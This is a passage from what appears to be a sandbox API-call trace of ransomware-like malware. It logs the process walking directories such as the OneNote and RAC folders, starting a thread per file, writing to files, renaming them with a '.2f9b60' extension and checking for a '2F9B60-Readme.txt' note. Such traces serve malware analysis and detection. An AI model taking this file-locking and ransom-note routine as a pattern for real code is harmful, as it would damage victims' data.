RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5f0) returned 1 [0224.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424179b0) returned 1 [0224.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ee500) returned 1 [0224.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c340) returned 1 [0224.853] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0224.853] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x431adc20 [0224.854] SetFilePointerEx (in: hFile=0x249c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0224.854] WriteFile (in: hFile=0x249c, lpBuffer=0x431f0de0*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2555f850, lpOverlapped=0x0 | out: lpBuffer=0x431f0de0*, lpNumberOfBytesWritten=0x2555f850*=0x114, lpOverlapped=0x0) returned 1 [0225.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2240 [0225.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504810 [0225.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab90 [0225.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aab90) returned 1 [0225.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202aab90 [0225.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaf20 [0225.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa9b0 [0225.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa9b0) returned 1 [0225.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504810) returned 1 [0225.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2240) returned 1 [0225.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ced2240 [0225.788] sprintf (in: _Dest=0x1ced2240, _Format="%c%c" | out: _Dest="26") returned 2 [0225.788] sprintf (in: _Dest=0x1ced2242, _Format="%c%c" | out: _Dest="8a") returned 2 [0225.788] sprintf (in: _Dest=0x1ced2244, _Format="%c%c" | out: _Dest="92") returned 2 [0225.788] sprintf (in: _Dest=0x1ced2246, _Format="%c%c" | out: _Dest="cd") returned 2 [0225.788] sprintf (in: _Dest=0x1ced2248, _Format="%c%c" | out: _Dest="aa") returned 2 [0225.788] sprintf (in: _Dest=0x1ced224a, _Format="%c%c" | out: _Dest="a1") returned 2 [0225.788] sprintf (in: _Dest=0x1ced224c, _Format="%c%c" | out: _Dest="84") returned 2 [0225.788] sprintf (in: _Dest=0x1ced224e, _Format="%c%c" | out: _Dest="f8") returned 2 [0225.788] sprintf (in: _Dest=0x1ced2250, _Format="%c%c" | out: _Dest="35") returned 2 [0225.788] sprintf (in: _Dest=0x1ced2252, _Format="%c%c" | out: _Dest="5c") returned 2 [0225.788] sprintf (in: _Dest=0x1ced2254, _Format="%c%c" | out: _Dest="08") returned 2 [0225.788] sprintf (in: _Dest=0x1ced2256, _Format="%c%c" | out: _Dest="ef") returned 2 [0225.788] sprintf (in: _Dest=0x1ced2258, _Format="%c%c" | out: _Dest="eb") returned 2 [0225.788] sprintf (in: _Dest=0x1ced225a, _Format="%c%c" | out: _Dest="93") returned 2 [0225.788] sprintf (in: _Dest=0x1ced225c, _Format="%c%c" | out: _Dest="14") returned 2 [0225.788] sprintf (in: _Dest=0x1ced225e, _Format="%c%c" | out: _Dest="b0") returned 2 [0225.788] sprintf (in: _Dest=0x1ced2260, _Format="%c%c" | out: _Dest="65") returned 2 [0225.788] sprintf (in: _Dest=0x1ced2262, _Format="%c%c" | out: _Dest="bc") returned 2 [0225.788] sprintf (in: _Dest=0x1ced2264, _Format="%c%c" | out: _Dest="ef") returned 2 [0225.788] sprintf (in: _Dest=0x1ced2266, _Format="%c%c" | out: _Dest="f2") returned 2 [0225.788] sprintf (in: _Dest=0x1ced2268, _Format="%c%c" | out: _Dest="0a") returned 2 [0225.788] sprintf (in: _Dest=0x1ced226a, _Format="%c%c" | out: _Dest="1b") returned 2 [0225.789] sprintf (in: _Dest=0x1ced226c, _Format="%c%c" | out: _Dest="51") returned 2 [0225.789] sprintf (in: _Dest=0x1ced226e, _Format="%c%c" | out: _Dest="d2") returned 2 [0225.789] sprintf (in: _Dest=0x1ced2270, _Format="%c%c" | out: _Dest="cb") returned 2 [0225.789] sprintf (in: _Dest=0x1ced2272, _Format="%c%c" | out: _Dest="b1") returned 2 [0225.789] sprintf (in: _Dest=0x1ced2274, _Format="%c%c" | out: _Dest="6a") returned 2 [0225.789] sprintf (in: _Dest=0x1ced2276, _Format="%c%c" | out: _Dest="53") returned 2 [0225.789] sprintf (in: _Dest=0x1ced2278, _Format="%c%c" | out: _Dest="ed") returned 2 [0225.789] sprintf (in: _Dest=0x1ced227a, _Format="%c%c" | out: _Dest="da") returned 2 [0225.789] sprintf (in: _Dest=0x1ced227c, _Format="%c%c" | out: _Dest="2b") returned 2 [0225.789] sprintf (in: _Dest=0x1ced227e, _Format="%c%c" | out: _Dest="fe") returned 2 [0225.789] sprintf (in: _Dest=0x1ced2280, _Format="%c%c" | out: _Dest="f9") returned 2 [0225.789] sprintf (in: _Dest=0x1ced2282, _Format="%c%c" | out: _Dest="b6") returned 2 [0225.789] RtlInitAnsiString (in: DestinationString=0x2555f8c8, SourceString="268a92cdaaa184f8355c08efeb9314b065bceff20a1b51d2cbb16a53edda2bfef9b6" | out: DestinationString="268a92cdaaa184f8355c08efeb9314b065bceff20a1b51d2cbb16a53edda2bfef9b6") [0225.789] RtlAnsiStringToUnicodeString (in: DestinationString=0x2555f898, SourceString="268a92cdaaa184f8355c08efeb9314b065bceff20a1b51d2cbb16a53edda2bfef9b6", AllocateDestinationString=1 | out: DestinationString="268a92cdaaa184f8355c08efeb9314b065bceff20a1b51d2cbb16a53edda2bfef9b6") returned 0x0 [0225.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x431e43e0 [0225.790] wcscat (in: _Dest=0x431e3760, _Source="268a92cdaaa184f83" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\268a92cdaaa184f83") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\268a92cdaaa184f83" [0225.790] wcscat (in: _Dest=0x431e3760, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\268a92cdaaa184f83.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\268a92cdaaa184f83.2f9b60" [0225.790] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\268a92cdaaa184f83.2f9b60", NtPathName=0x2555f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\268a92cdaaa184f83.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0225.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x1ce236a0 [0226.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce236a0) returned 1 [0226.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431bd360) returned 1 [0226.212] NtQueryInformationFile (in: FileHandle=0x249c, IoStatusBlock=0x2555f8d8, FileInformation=0x2555f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2555f8d8, FileInformation=0x2555f8e8) returned 0x0 [0226.212] NtSetInformationFile (FileHandle=0x249c, IoStatusBlock=0x2555f8d8, FileInformation=0x2555f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0226.457] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e3760) returned 1 [0226.458] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e43e0) returned 1 [0226.458] FlushFileBuffers (hFile=0x249c) returned 1 [0226.460] CloseHandle (hObject=0x249c) returned 1 [0226.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b01f0 [0226.954] wcscpy (in: _Dest=0x202b01f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\" [0226.954] wcscat (in: _Dest=0x202b01f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\2F9B60-Readme.txt" [0226.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\2f9b60-readme.txt")) returned 0x20 [0226.955] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b01f0) returned 1 [0226.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319c720) returned 1 [0226.956] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1cec3da0 | out: lpFindFileData=0x1cec3da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d77db00, ftCreationTime.dwHighDateTime=0x1c8e25a, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7d77db00, ftLastWriteTime.dwHighDateTime=0x1c8e25a, nFileSizeHigh=0x0, nFileSizeLow=0x7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote.ini", cAlternateFileName="SENDTO~1.INI")) returned 1 [0226.956] wcscmp (_String1="SendToOneNote.ini", _String2=".") returned 1 [0226.956] wcscmp (_String1="SendToOneNote.ini", _String2="..") returned 1 [0226.956] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4319c720 [0226.956] wcscpy (in: _Dest=0x4319c720, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" [0226.956] wcscat (in: _Dest=0x4319c720, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\" [0226.956] wcscat (in: _Dest=0x4319c720, _Source="SendToOneNote.ini" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.ini") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.ini" [0226.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4319c720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25b4 [0226.958] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1cec3da0 | out: lpFindFileData=0x1cec3da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x5983e610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1bf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNOteFilter.dll", cAlternateFileName="SENDTO~1.DLL")) returned 1 [0226.958] wcscmp (_String1="SendToOneNOteFilter.dll", _String2=".") returned 1 [0226.958] wcscmp (_String1="SendToOneNOteFilter.dll", _String2="..") returned 1 [0226.958] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1cec3da0 | out: lpFindFileData=0x1cec3da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b7d200, ftCreationTime.dwHighDateTime=0x1c8edfe, ftLastAccessTime.dwLowDateTime=0x5983e610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf5b7d200, ftLastWriteTime.dwHighDateTime=0x1c8edfe, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendtoOneNoteFilter.gpd", cAlternateFileName="SENDTO~2.GPD")) returned 1 [0226.958] wcscmp (_String1="SendtoOneNoteFilter.gpd", _String2=".") returned 1 [0226.958] wcscmp (_String1="SendtoOneNoteFilter.gpd", _String2="..") returned 1 [0226.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x20506130 [0226.959] wcscpy (in: _Dest=0x20506130, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" [0226.959] wcscat (in: _Dest=0x20506130, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\" [0226.959] wcscat (in: _Dest=0x20506130, _Source="SendtoOneNoteFilter.gpd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendtoOneNoteFilter.gpd") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendtoOneNoteFilter.gpd" [0226.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a4 [0226.960] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1cec3da0 | out: lpFindFileData=0x1cec3da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a1fd700, ftCreationTime.dwHighDateTime=0x1c8e624, ftLastAccessTime.dwLowDateTime=0x5983e610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a1fd700, ftLastWriteTime.dwHighDateTime=0x1c8e624, nFileSizeHigh=0x0, nFileSizeLow=0x1ca2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNoteNames.gpd", cAlternateFileName="SENDTO~3.GPD")) returned 1 [0226.960] wcscmp (_String1="SendToOneNoteNames.gpd", _String2=".") returned 1 [0226.960] wcscmp (_String1="SendToOneNoteNames.gpd", _String2="..") returned 1 [0226.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x20505910 [0226.961] wcscpy (in: _Dest=0x20505910, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote" [0226.961] wcscat (in: _Dest=0x20505910, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\" [0226.961] wcscat (in: _Dest=0x20505910, _Source="SendToOneNoteNames.gpd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNoteNames.gpd") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNoteNames.gpd" [0226.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20505910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4 [0226.962] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1cec3da0 | out: lpFindFileData=0x1cec3da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xeb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNoteUI.dll", cAlternateFileName="SENDTO~2.DLL")) returned 1 [0226.962] wcscmp (_String1="SendToOneNoteUI.dll", _String2=".") returned 1 [0226.962] wcscmp (_String1="SendToOneNoteUI.dll", _String2="..") returned 1 [0226.962] FindNextFileW (in: hFindFile=0x1cd9d1f0, lpFindFileData=0x1cec3da0 | out: lpFindFileData=0x1cec3da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xeb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNoteUI.dll", cAlternateFileName="SENDTO~2.DLL")) returned 0 [0226.962] FindClose (in: hFindFile=0x1cd9d1f0 | out: hFindFile=0x1cd9d1f0) returned 1 [0226.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec3da0) returned 1 [0226.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59fb0) returned 1 [0226.965] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2360) returned 1 Thread: id = 2272 os_tid = 0x68c [0143.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b864840 [0143.236] wcscpy (in: _Dest=0x1b864840, _Source="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles" [0143.237] wcscat (in: _Dest=0x1b864840, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\" [0143.237] wcscat (in: _Dest=0x1b864840, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*" [0143.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec4010 [0143.237] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x1cec4010 | out: lpFindFileData=0x1cec4010*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d0d0 [0143.237] wcscmp (_String1=".", _String2=".") returned 0 [0143.237] FindNextFileW (in: hFindFile=0x1cd9d0d0, lpFindFileData=0x1cec4010 | out: lpFindFileData=0x1cec4010*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.237] wcscmp (_String1="..", _String2=".") returned 1 [0143.237] wcscmp (_String1="..", _String2="..") returned 0 [0143.237] FindNextFileW (in: hFindFile=0x1cd9d0d0, lpFindFileData=0x1cec4010 | out: lpFindFileData=0x1cec4010*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.237] FindClose (in: hFindFile=0x1cd9d0d0 | out: hFindFile=0x1cd9d0d0) returned 1 [0143.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec4010) returned 1 [0143.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864840) returned 1 [0143.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8a60) returned 1 Thread: id = 2273 os_tid = 0x738 [0143.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced8a60 [0143.240] wcscpy (in: _Dest=0x1ced8a60, _Source="C:\\Users\\All Users\\Microsoft\\RAC\\StateData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\StateData") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData" [0143.240] wcscat (in: _Dest=0x1ced8a60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\" [0143.241] wcscat (in: _Dest=0x1ced8a60, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\*") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\*" [0143.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec4010 [0143.241] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\*", lpFindFileData=0x1cec4010 | out: lpFindFileData=0x1cec4010*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce255900, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce255900, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d0d0 [0143.241] wcscmp (_String1=".", _String2=".") returned 0 [0143.241] FindNextFileW (in: hFindFile=0x1cd9d0d0, lpFindFileData=0x1cec4010 | out: lpFindFileData=0x1cec4010*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce255900, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce255900, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.241] wcscmp (_String1="..", _String2=".") returned 1 [0143.241] wcscmp (_String1="..", _String2="..") returned 0 [0143.241] FindNextFileW (in: hFindFile=0x1cd9d0d0, lpFindFileData=0x1cec4010 | out: lpFindFileData=0x1cec4010*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb35800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xecb35800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x4267390, ftLastWriteTime.dwHighDateTime=0x1d699a6, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacDatabase.sdf", cAlternateFileName="RACDAT~1.SDF")) returned 1 [0143.241] wcscmp (_String1="RacDatabase.sdf", _String2=".") returned 1 [0143.241] wcscmp (_String1="RacDatabase.sdf", _String2="..") returned 1 [0143.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1ce5a030 [0143.241] wcscpy (in: _Dest=0x1ce5a030, _Source="C:\\Users\\All Users\\Microsoft\\RAC\\StateData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\StateData") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData" [0143.241] wcscat (in: _Dest=0x1ce5a030, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\" [0143.241] wcscat (in: _Dest=0x1ce5a030, _Source="RacDatabase.sdf" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" [0150.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce5a030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0150.861] FindNextFileW (in: hFindFile=0x1cd9d0d0, lpFindFileData=0x1cec4010 | out: lpFindFileData=0x1cec4010*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0xbddddec0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="RACMET~1.DAT")) returned 1 [0150.861] wcscmp (_String1="RacMetaData.dat", _String2=".") returned 1 [0150.861] wcscmp (_String1="RacMetaData.dat", _String2="..") returned 1 [0150.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b866540 [0150.861] wcscpy (in: _Dest=0x1b866540, _Source="C:\\Users\\All Users\\Microsoft\\RAC\\StateData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\StateData") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData" [0150.861] wcscat (in: _Dest=0x1b866540, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\" [0150.861] wcscat (in: _Dest=0x1b866540, _Source="RacMetaData.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat" [0150.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22a4 [0150.862] FindNextFileW (in: hFindFile=0x1cd9d0d0, lpFindFileData=0x1cec4010 | out: lpFindFileData=0x1cec4010*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0xbddddec0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="RACMET~1.DAT")) returned 0 [0150.862] FindClose (in: hFindFile=0x1cd9d0d0 | out: hFindFile=0x1cd9d0d0) returned 1 [0150.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec4010) returned 1 [0150.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8a60) returned 1 [0150.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd865b0) returned 1 Thread: id = 2274 os_tid = 0xb18 [0143.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced95c0 [0143.243] wcscpy (in: _Dest=0x1ced95c0, _Source="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData") returned="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData" [0143.243] wcscat (in: _Dest=0x1ced95c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\") returned="C:\\Users\\All 